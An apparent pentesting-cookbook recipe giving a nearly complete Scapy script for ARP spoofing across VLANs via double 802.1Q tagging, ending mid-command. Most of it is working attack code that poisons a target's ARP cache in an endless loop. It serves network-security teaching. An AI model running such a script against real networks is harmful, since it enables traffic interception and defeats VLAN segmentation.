ARP spoofing over VLAN hopping
As VLANs limit broadcast traffic to the same VLAN, here we tag every packet with our VLAN tag, and an extra with the destination VLAN.
How to do it...
Here are the steps to simulate ARP spoofing attack over VLAN hopping:
- Create a new
arp-spoofing-over-vlan.py
file and open in your editor. - Import modules and set variables:
import timefrom scapy.all import *iface = "en0"target_ip = '192.168.1.2'fake_ip = '192.168.1.3'fake_mac = 'c0:d3:de:ad:be:ef'our_vlan = 1target_vlan = 2
- Create ARP packets with two 802.1Q tags:
ether = Ether()dot1q1 = Dot1Q(vlan=our_vlan)dot1q2 = Dot1Q(vlan=target_vlan)arp = ARP(hwsrc=fake_mac, pdst=target_ip, psrc=fake_ip, op="is-at")packet = ether/dot1q1/dot1q2/arp
Here is the packet with two 802.1Q tags and an ARP layer:

- Send the packets in an infinite loop:
try:while True: sendp(packet, iface=iface) time.sleep(10)except KeyboardInterrupt: print("Exiting.. ") sys.exit(0)
- Run the script with required permission:
sudo python3 arp-spoofing-over...